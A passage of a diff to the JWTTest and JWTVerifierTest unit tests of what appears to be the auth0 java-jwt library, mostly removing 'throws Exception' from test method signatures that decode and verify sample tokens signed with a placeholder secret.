         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asDouble(), is(23.45));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldGetCustomClaimOfTypeBoolean() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asBoolean(), is(true));
     }
 
     @Test
-    public void shouldGetCustomClaimOfTypeDate() throws Exception {
+    public void shouldGetCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWT.decode(token);
@@ -273,23 +273,23 @@ public void shouldGetCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldGetCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldGetCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
     }
 
     @Test
-    public void shouldGetCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldGetCustomArrayClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
     }
 
     @Test
-    public void shouldGetCustomMapClaim() throws Exception {
+    public void shouldGetCustomMapClaim() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
@@ -300,7 +300,7 @@ public void shouldGetCustomMapClaim() throws Exception {
     }
 
     @Test
-    public void shouldGetAvailableClaims() throws Exception {
+    public void shouldGetAvailableClaims() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjEyMzQ1Njc4OTAsImlhdCI6MTIzNDU2Nzg5MCwibmJmIjoxMjM0NTY3ODkwLCJqdGkiOiJodHRwczovL2p3dC5pby8iLCJhdWQiOiJodHRwczovL2RvbWFpbi5hdXRoMC5jb20iLCJzdWIiOiJsb2dpbiIsImlzcyI6ImF1dGgwIiwiZXh0cmFDbGFpbSI6IkpvaG4gRG9lIn0.2_0nxDPJwOk64U5V5V9pt8U92jTPJbGsHYQ35HYhbdE");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getClaims(), is(notNullValue()));u      }(jJ  (bf7e07dafa190cab7d91dc0064e268a2702c3f96j  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  Kj  Kj  K0j  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  X[%  @@ -44,15 +44,15 @@ public class JWTTest {
     // Decode
 
     @Test
-    public void shouldDecodeAStringToken() throws Exception {
+    public void shouldDecodeAStringToken() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWT.decode(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldDecodeAStringTokenUsingInstance() throws Exception {
+    public void shouldDecodeAStringTokenUsingInstance() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         JWT jwt = new JWT();
         DecodedJWT decodedJWT = jwt.decodeJwt(token);
@@ -62,7 +62,7 @@ public void shouldDecodeAStringTokenUsingInstance() throws Exception {
 
     // getToken
     @Test
-    public void shouldGetStringToken() throws Exception {
+    public void shouldGetStringToken() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getToken(), is(notNullValue()));
@@ -71,7 +71,7 @@ public void shouldGetStringToken() throws Exception {
 
     // getToken
     @Test
-    public void shouldGetStringTokenUsingInstance() throws Exception {
+    public void shouldGetStringTokenUsingInstance() {
         JWT jwt = new JWT();
         DecodedJWT decodedJWT = jwt.decodeJwt("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(decodedJWT, is(notNullValue()));
@@ -94,7 +94,7 @@ public void shouldVerifyDecodedToken() throws Exception {
     }
 
     @Test
-    public void shouldAcceptNoneAlgorithm() throws Exception {
+    public void shouldAcceptNoneAlgorithm() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         DecodedJWT jwt = JWT.require(Algorithm.none())
                 .build()
@@ -104,7 +104,7 @@ public void shouldAcceptNoneAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC256Algorithm() throws Exception {
+    public void shouldAcceptHMAC256Algorithm() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -114,7 +114,7 @@ public void shouldAcceptHMAC256Algorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC384Algorithm() throws Exception {
+    public void shouldAcceptHMAC384Algorithm() {
         String token = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC384("secret"))
                 .build()
@@ -124,7 +124,7 @@ public void shouldAcceptHMAC384Algorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC512Algorithm() throws Exception {
+    public void shouldAcceptHMAC512Algorithm() {
         String token = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC512("secret"))
                 .build()
@@ -206,7 +206,7 @@ public void shouldAcceptECDSA512Algorithm() throws Exception {
     // Public Claims
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         String token = "eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -217,7 +217,7 @@ public void shouldGetAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldGetSignature() throws Exception {
+    public void shouldGetSignature() {
         String token = "eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -228,7 +228,7 @@ public void shouldGetSignature() throws Exception {
     }
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIERvZSJ9.SgXosfRR_IwCgHq5lF3tlM-JHtpucWCRSaVuoHTbWbQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -239,7 +239,7 @@ public void shouldGetIssuer() throws Exception {
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJUb2szbnMifQ.RudAxkslimoOY3BLl2Ghny3BrUKu9I1ZrXzCZGDJtNs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -250,7 +250,7 @@ public void shouldGetSubject() throws Exception {
     }
 
     @Test
-    public void shouldGetArrayAudience() throws Exception {
+    public void shouldGetArrayAudience() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -262,7 +262,7 @@ public void shouldGetArrayAudience() throws Exception {
     }
 
     @Test
-    public void shouldGetStringAudience() throws Exception {
+    public void shouldGetStringAudience() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -274,7 +274,7 @@ public void shouldGetStringAudience() throws Exception {
     }
 
     @Test
-    public void shouldGetExpirationTime() throws Exception {
+    public void shouldGetExpirationTime() {
         long seconds = 1477592L;
         Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
@@ -308,7 +308,7 @@ public void shouldGetNotBefore() {
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         long seconds = 1477592;
         Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
@@ -325,7 +325,7 @@ public void shouldGetIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldGetId() throws Exception {
+    public void shouldGetId() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxMjM0NTY3ODkwIn0.m3zgEfVUFOd-CvL3xG5BuOWLzb0zMQZCqiVNQQOPOvA";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -337,7 +337,7 @@ public void shouldGetId() throws Exception {
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6ImF3ZXNvbWUifQ.e30.AIm-pJDOaAyct9qKMlN-lQieqNDqc3d4erqUZc5SHAs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -348,7 +348,7 @@ public void shouldGetContentType() throws Exception {
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.e30.WdFmrzx8b9v_a-r6EHC2PTAaWywgm_8LiP8RBRhYwkI";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -359,7 +359,7 @@ public void shouldGetType() throws Exception {
     }
 
     @Test
-    public void shouldGetKeyId() throws Exception {
+    public void shouldGetKeyId() {
         String token = "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleSJ9.e30.von1Vt9tq9cn5ZYdX1f4cf2EE7fUvb5BCBlKOTm9YWs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -370,7 +370,7 @@ public void shouldGetKeyId() throws Exception {
     }
 
     @Test
-    public void shouldGetCustomClaims() throws Exception {
+    public void shouldGetCustomClaims() {
         String token = "eyJhbGciOiJIUzI1NiIsImlzQWRtaW4iOnRydWV9.eyJpc0FkbWluIjoibm9wZSJ9.YDKBAgUDbh0PkhioDcLNzdQ8c2Gdf_yS6zdEtJQS3F0";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -386,7 +386,7 @@ public void shouldGetCustomClaims() throws Exception {
     // Sign
 
     @Test
-    public void shouldCreateAnEmptyHMAC256SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC256SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC256("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -402,7 +402,7 @@ public void shouldCreateAnEmptyHMAC256SignedToken() throws Exception {
     }
 
     @Test
-    public void shouldCreateAnEmptyHMAC384SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC384SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC384("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -418,7 +418,7 @@ public void shouldCreateAnEmptyHMAC384SignedToken() throws Exception {
     }
 
     @Test
-    public void shouldCreateAnEmptyHMAC512SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC512SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC512("secret"));
         assertThat(signed, is(notNullValue()));
 u}(jJ  (4a3dbb65bc6d407cef89e0934ffc56fb5d017151j  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  K?j  K>j  K}j  https://github.com/auth0/java-jwt/blob/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/1f22f6cd51ec3dd035a81d4494d1231974e86505/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=1f22f6cd51ec3dd035a81d4494d1231974e86505j  Xt  @@ -23,6 +23,7 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
+import static org.junit.Assert.assertThrows;
 
 public class JWTVerifierTest {
 
@@ -34,22 +35,22 @@ public class JWTVerifierTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenInitializedWithoutAlgorithm() throws Exception {
+    public void shouldThrowWhenInitializedWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTVerifier.init(null);
     }
 
     @Test
-    public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() throws Exception {
+    public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() {
         exception.expect(AlgorithmMismatchException.class);
         exception.expectMessage("The provided Algorithm doesn't match the one defined in the JWT's Header.");
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
         verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
     }
 
     @Test
-    public void shouldValidateIssuer() throws Exception {
+    public void shouldValidateIssuer() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("auth0")
@@ -72,7 +73,7 @@ public void shouldValidateMultipleIssuers() {
     }
 
     @Test
-    public void shouldThrowOnInvalidIssuer() throws Exception {
+    public void shouldThrowOnInvalidIssuer() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -83,7 +84,7 @@ public void shouldThrowOnInvalidIssuer() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNullIssuer() throws Exception {
+    public void shouldThrowOnNullIssuer() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
 
@@ -95,7 +96,7 @@ public void shouldThrowOnNullIssuer() throws Exception {
     }
 
     @Test
-    public void shouldValidateSubject() throws Exception {
+    public void shouldValidateSubject() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withSubject("1234567890")
@@ -106,7 +107,7 @@ public void shouldValidateSubject() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidSubject() throws Exception {
+    public void shouldThrowOnInvalidSubject() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
@@ -117,7 +118,7 @@ public void shouldThrowOnInvalidSubject() throws Exception {
     }
 
     @Test
-    public void shouldAcceptAudienceWhenWithAudienceContainsAll() throws Exception {
+    public void shouldAcceptAudienceWhenWithAudienceContainsAll() {
         // Token 'aud': ["Mark"]
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJNYXJrIn0.xWB6czYI0XObbVhLAxe55TwChWZg7zO08RxONWU2iY4";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -182,7 +183,7 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
     }
 
     @Test
-    public void shouldAcceptAudienceWhenWithAudienceAndPartialExpected() throws Exception {
+    public void shouldAcceptAudienceWhenWithAudienceAndPartialExpected() {
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
         DecodedJWT jwtArr = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -212,14 +213,14 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
 
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        DecodedJWT jwtArr = JWTVerifier.init(Algorithm.HMAC256("secret"))
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAnyOfAudience("Joe", "Jim")
                 .build()
                 .verify(tokenArr);
     }
 
     @Test
-    public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() throws Exception {
+    public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
 
@@ -232,7 +233,7 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() throws Excep
     }
 
     @Test
-    public void shouldThrowWhenAudienceClaimIsNull() throws Exception {
+    public void shouldThrowWhenAudienceClaimIsNull() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
 
@@ -245,7 +246,7 @@ public void shouldThrowWhenAudienceClaimIsNull() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() throws Exception {
+    public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
 
@@ -258,7 +259,7 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() throws Exception
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullReference() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAudience((String) null)
@@ -291,7 +292,7 @@ public void shouldRemoveAudienceWhenPassingNullReference() throws Exception {
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience((String) null)
@@ -324,7 +325,7 @@ public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() thro
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNull() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
@@ -344,7 +345,7 @@ public void shouldRemoveAudienceWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
@@ -364,15 +365,15 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() throws Exceptio
     }
 
     @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldThrowWhenExpectedArrayClaimIsMissing() throws Exception {
+    public void shouldThrowWhenExpectedArrayClaimIsMissing() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
@@ -383,7 +384,7 @@ public void shouldThrowWhenExpectedArrayClaimIsMissing() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenExpectedClaimIsMissing() throws Exception {
+    public void shouldThrowWhenExpectedClaimIsMissing() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
@@ -394,7 +395,7 @@ public void shouldThrowWhenExpectedClaimIsMissing() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeString() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -405,7 +406,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeString() throws Exception
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -416,7 +417,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() throws Exception
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -427,7 +428,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() throws Exception
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -439,7 +440,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() throws Exception
 
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -450,7 +451,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -461,7 +462,7 @@ public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeString() throws Exception {
+    public void shouldValidateCustomClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidmFsdWUifQ.Jki8pvw6KGbxpMinufrgo6RDL1cu7AtNMJYVh6t-_cE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "value")
@@ -472,7 +473,7 @@ public void shouldValidateCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeInteger() throws Exception {
+    public void shouldValidateCustomClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 123)
@@ -483,7 +484,7 @@ public void shouldValidateCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeLong() throws Exception {
+    public void shouldValidateCustomClaimOfTypeLong() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjo5MjIzMzcyMDM2ODU0Nzc2MDB9.km-IwQ5IDnTZFmuJzhSgvjTzGkn_Z5X29g4nAuVC56I";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 922337203685477600L)
